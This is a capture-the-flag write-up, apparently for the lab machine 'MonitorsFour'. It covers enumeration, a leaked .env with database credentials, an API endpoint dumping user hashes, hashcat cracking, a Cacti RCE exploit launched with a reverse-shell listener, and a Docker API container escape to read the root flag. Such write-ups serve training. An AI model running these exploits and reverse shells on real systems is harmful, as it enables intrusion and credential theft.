Enum
mairon $ rustscan -a 10.129.8.223 --ulimit 5000 -- -A -sCV -oN mo
nitorsfour.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where scanning meets swagging. π
[~] The config file is expected to be at "/home/gkroon/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.8.223:80
Open 10.129.8.223:5985
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A -sCV -oN monitorsfour.txt" on ip 10.129.8.223
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-29 19:59 +0100
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
Initiating Ping Scan at 19:59
Scanning 10.129.8.223 [2 ports]
Completed Ping Scan at 19:59, 0.01s elapsed (1 total hosts)
Initiating Connect Scan at 19:59
Scanning monitorsfour.htb (10.129.8.223) [2 ports]
Discovered open port 80/tcp on 10.129.8.223
Discovered open port 5985/tcp on 10.129.8.223
Completed Connect Scan at 19:59, 0.01s elapsed (2 total ports)
Initiating Service scan at 19:59
Scanning 2 services on monitorsfour.htb (10.129.8.223)
Completed Service scan at 19:59, 6.06s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.8.223.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 5.05s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.08s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
Nmap scan report for monitorsfour.htb (10.129.8.223)
Host is up, received syn-ack (0.0090s latency).
Scanned at 2026-01-29 19:59:09 CET for 11s
PORT
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx
|_http-favicon: Unknown favicon MD5: 889DCABDC39A9126364F6A675AA4167D
| http-methods:
|_ Supported Methods: GET
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MonitorsFour - Networking Solutions
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:59
Completed NSE at 19:59, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds
Thereβs a login page there on /login:
SQLi on the main page did not succeed. I did found another vhost on the server:
mairon $ gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://monitorsfour.htb --ad
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://monitorsfour.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
[+] Append Domain: true
[+] Exclude Hostname Length: false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
cacti.monitorsfour.htb Status: 302 [Size: 0] [--> /cacti]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
That brings me to a Cacti 1.2.28 login page.
That one should be vulnerable to CVE-2025-24367, but it requires credentials first, after which we should be able to pop a shell.
Back to the first page:
$ gobuster dir --url http://monitorsfour.htb/ --wordlist /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://monitorsfour.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.env (Status: 200) [Size: 97]
.hta (Status: 403) [Size: 146]
.htpasswd (Status: 403) [Size: 146]
.htaccess (Status: 403) [Size: 146]
contact (Status: 200) [Size: 367]
controllers (Status: 301) [Size: 162] [--> http://monitorsfour.htb/controllers/]
forgot-password (Status: 200) [Size: 3099]
login (Status: 200) [Size: 4340]
static (Status: 301) [Size: 162] [--> http://monitorsfour.htb/static/]
user (Status: 200) [Size: 35]
views (Status: 301) [Size: 162] [--> http://monitorsfour.htb/views/]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================
Interesting:
mairon $ curl -i monitorsfour.htb/.env
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 29 Jan 2026 19:20:49 GMT
Content-Type: application/octet-stream
Content-Length: 97
Last-Modified: Sat, 13 Sep 2025 05:37:28 GMT
Connection: keep-alive
ETag: "68c50318-61"
Accept-Ranges: bytes
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0r
Those credentials did not give me access on the main pageβs login, nor on the cacti page.
But the /user is interesting:
mairon $ curl -i http://monitorsfour.htb/user
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 29 Jan 2026 19:29:43 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=ae883ed557e7421918a12d898895b7ff; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
{"error":"Missing token parameter"}
Okay, so letβs add ?token=0 to start with.
mairon $ curl http://monitorsfour.htb/user?token=0 -s | jq
[
{
"id": 2,
"username": "admin",
"email": "admin@monitorsfour.htb",
"password": "56b32eb43e6f15395f6c46c1c9e1cd36",
"role": "super user",
"token": "8024b78f83f102da4f",
"name": "Marcus Higgins",
"position": "System Administrator",
"dob": "1978-04-26",
"start_date": "2021-01-12",
"salary": "320800.00"
},
{
"id": 5,
"username": "mwatson",
"email": "mwatson@monitorsfour.htb",
"password": "69196959c16b26ef00b77d82cf6eb169",
"role": "user",
"token": "0e543210987654321",
"name": "Michael Watson",
"position": "Website Administrator",
"dob": "1985-02-15",
"start_date": "2021-05-11",
"salary": "75000.00"
},
{
"id": 6,
"username": "janderson",
"email": "janderson@monitorsfour.htb",
"password": "2a22dcf99190c322d974c8df5ba3256b",
"role": "user",
"token": "0e999999999999999",
"name": "Jennifer Anderson",
"position": "Network Engineer",
"dob": "1990-07-16",
"start_date": "2021-06-20",
"salary": "68000.00"
},
{
"id": 7,
"username": "dthompson",
"email": "dthompson@monitorsfour.htb",
"password": "8d4a7e7fd08555133e056d9aacb1e519",
"role": "user",
"token": "0e111111111111111",
"name": "David Thompson",
"position": "Database Manager",
"dob": "1982-11-23",
"start_date": "2022-09-15",
"salary": "83000.00"
}
]
Gotcha. Letβs get cracking:
mairon $ curl http://monitorsfour.htb/user?token=0 -s | jq '.[].password' | sed 's/"//g' > hashes.txt
mairon $ hashcat -m 0 hashes.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz --potfile-disable
hashcat (v7.1.2) starting
OpenCL API (OpenCL 3.0 PoCL 7.1 Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
======================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-1265U, 2155/4310 MB (2155 MB allocatable), 12MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory allocated for this attack: 515 MB (4417 MB free)
Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
* Passwords.: 14344383
* Bytes.....: 53291283
* Keyspace..: 14344383
56b32eb43e6f15395f6c46c1c9e1cd36:wonderful1
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Thu Jan 29 20:39:22 2026 (5 secs)
Time.Estimated...: Thu Jan 29 20:39:27 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 3142.1 kH/s (0.42ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/4 (25.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344383/14344383 (100.00%)
Rejected.........: 0/14344383 (0.00%)
Restore.Point....: 14344383/14344383 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: !carolinala -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 22%
Started: Thu Jan 29 20:39:20 2026
Stopped: Thu Jan 29 20:39:29 2026
Great, we cracked the adminβs hash: admin:wonderful1
This granted access on the main web page as admin.
On the http://monitorsfour.htb/admin/users page, it shows the adminβs real name is Marcus Higgins.
This granted access on the cacti page via marcus:wonderful1.
Sweet, now we can use our previously found CVE. First, start a listener:
mairon $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Then, launch our PoC:
mairon 18s $ sudo python exploit.py --url http://cacti.monitorsfour.htb --username marcus --password wonderful1 --lhost 10.10.14.74 --lport 1337 --http-port 80
============================================================
Cacti RCE Exploit - CVE-2025-24367
Template ID: 226 (Unix - Logged in Users)
============================================================
IMPORTANT: Enter the BASE URL (root directory)
Example: http://cacti.monitorsfour.htb/
NOT: http://cacti.monitorsfour.htb/cacti/
============================================================
[20:52:13] Starting exploit
[*] Target Information:
[*] Reverse Shell Setup:
[20:52:13] HTTP server started on port 80
[20:52:15] Logging in as marcus...
[20:52:15] Login successful
[20:52:15] Creating payload...
[20:52:15] Created reverse shell payload for 10.10.14.74:1337
[20:52:15] Stage 1: Uploading payload
[20:52:15] Starting upload stage with template ID: 226
[20:52:15] Generated PHP filename: gSh97.php
[20:52:16] Template update: HTTP 200
[20:52:16] Trigger response: HTTP 200
10.129.8.223 - - [29/Jan/2026 20:52:19] "GET /bash HTTP/1.1" 200 -
[20:52:19] File created successfully: gSh97.php
[20:52:19] Bash script successfully uploaded to target
[20:52:19] Stage 2: Triggering reverse shell
[20:52:21] Starting execute stage with template ID: 226
[20:52:21] Generated PHP filename: SQpx1.php
[20:52:21] Template update: HTTP 200
[20:52:21] Trigger response: HTTP 200
[20:52:29] Timeout - shell execution likely started!
[20:52:29] Reverse shell triggered - check your listener!
[20:52:29] HTTP server stopped
[20:52:29] Log saved to exploit_log.txt
[20:52:29] Exploit complete
We got a shell:
mairon 4m 53s $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.8.223:54482.
bash: cannot set terminal process group (8): Inappropriate ioctl for device
bash: no job control in this shell
www-data@821fbd6a43fa:~/html/cacti$ cat /home/marcus/user.txt
cat /home/marcus/user.txt
96cbe9ef6b360d6c0455deb37d338d97
But, this is peculiar, because this is supposed to be a Windows box.
Uploading and running LinPEAS hints this is Docker container, though:
[...]
ββββββββββββ£ Container details
ββ£ Is this a container? ........... docker
[...]
The above is the main takeaway, but there are numerous other hints in the output.
I then uploaded a docker vuln scanner I found, and we should probably escape via CVE-2025-9074:
www-data@821fbd6a43fa:/tmp$ bash docker-scan.sh
bash docker-scan.sh
____ __ _____
/ __ \____ _____/ /_____ _____ / ___/_________ _____
/ / / / __ \/ ___/ //_/ _ \/ ___/ \__ \/ ___/ __ \/ __ \
/ /_/ / /_/ / /__/ ,< / __/ / ___/ / /__/ /_/ / / / /
/_____/\____/\___/_/|_|\___/_/ /____/\___/\__,_/_/ /_/
By Ikonw
=================================================================
[+] Environment: Docker Container
Hostname: 821fbd6a43fa
User: www-data (33)
--- [ Host Discovery & Port Scan ] ---
[*] Testing Host: 172.18.0.1
[!] PORT 80 OPEN on 172.18.0.1
[!] PORT 3306 OPEN on 172.18.0.1
[*] Testing Host: 192.168.65.7
[!] PORT 2375 OPEN on 192.168.65.7
[!] CRITICAL: CVE-2025-9074 Detected! Unauthenticated Docker API at 192.168.65.7:2375
--- [ Security Checks & CVEs ] ---
[!] WARNING: Dangerous Cap: CAP_SYS_ADMIN
[!] WARNING: Dangerous Cap: CAP_SYS_PTRACE
[!] WARNING: Dangerous Cap: CAP_SYS_MODULE
================[ Summary ]================
Found 7 potential issue(s):
- Open port 80 on 172.18.0.1
- Open port 3306 on 172.18.0.1
- Open port 2375 on 192.168.65.7
- Vulnerable to CVE-2025-9074 (Exposed Docker API at 192.168.65.7:2375)
- Dangerous capability: CAP_SYS_ADMIN
- Dangerous capability: CAP_SYS_PTRACE
- Dangerous capability: CAP_SYS_MODULE
===========================================
I found this PoC that served me well.
I uploaded the poc.c and compiled it directly on the victim machine:
www-data@821fbd6a43fa:/tmp$ gcc poc.c -o poc-2025-9074
I also needed to upgrade the shell to an interactive one:
www-data@821fbd6a43fa:~/html/cacti$ SHELL=/bin/bash script -q /dev/null
Now we can run the PoC, and get the System Flag:
www-data@821fbd6a43fa:/tmp$ ./poc-2025-9074
./poc-2025-9074
_______________ ________ .________ ________________________ _____
______ ____ ____ \_____ \ _ \ \_____ \ | ____/ / __ \ _ \______ \/ | |
\____ \ / _ \_/ ___\ / ____/ /_\ \ / ____/ |____ \ \____ / /_\ \ / / | |_
| |_> > <_> ) \___ / \ \_/ \/ \ / \ / /\ \_/ \/ / ^ /\
| __/ \____/ \___ > \_______ \_____ /\_______ \/______ / /____/ \_____ /____/\____ |
|__| \/ \/ \/ \/ \/ \/ |__|
Docker API Unauthenticated Access Exploit
CVE-2025-9074 PoC Tool
by xwpd
Enter target (host:port) [127.0.0.1:2375]: 192.168.65.7:2375
192.168.65.7:2375
[β] Target: 192.168.65.7:2375
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PHASE 1: Initial Verification
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[*] Checking Docker API availability...
[β] Connection successful! Exposed Docker API detected
[!] CVE-2025-9074 vulnerability found on target
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PHASE 2: Image Preparation
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[~] Pulling image 'alpine'...
[!] Image probably already exists on daemon
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PHASE 3: Container Creation
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[*] Creating malicious container...
[β] Container created: 696061a3b50d
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PHASE 4: Starting Container
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[*] Starting container...
[β] Container started successfully!
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Exploitation Completed Successfully!
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Interactive PoC Shell Activated β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
[*] Available commands:
cmd <command> - Execute command in container
revshell <ip> <port> - Deploy reverse shell
info - Show container information
exit - Exit interactive shell
(PoC-CVE-2025-9074)> cmd whoami
cmd whoami
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Command Output
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
d
root
0
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
cmd cat /mnt/Users/Administrator/Desktop/root.txt
cmd cat /mnt/Users/Administrator/Desktop/root.txt
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Command Output
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2a
1f314be47509b78d08b27299193dd071
0
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
(PoC-CVE-2025-9074)>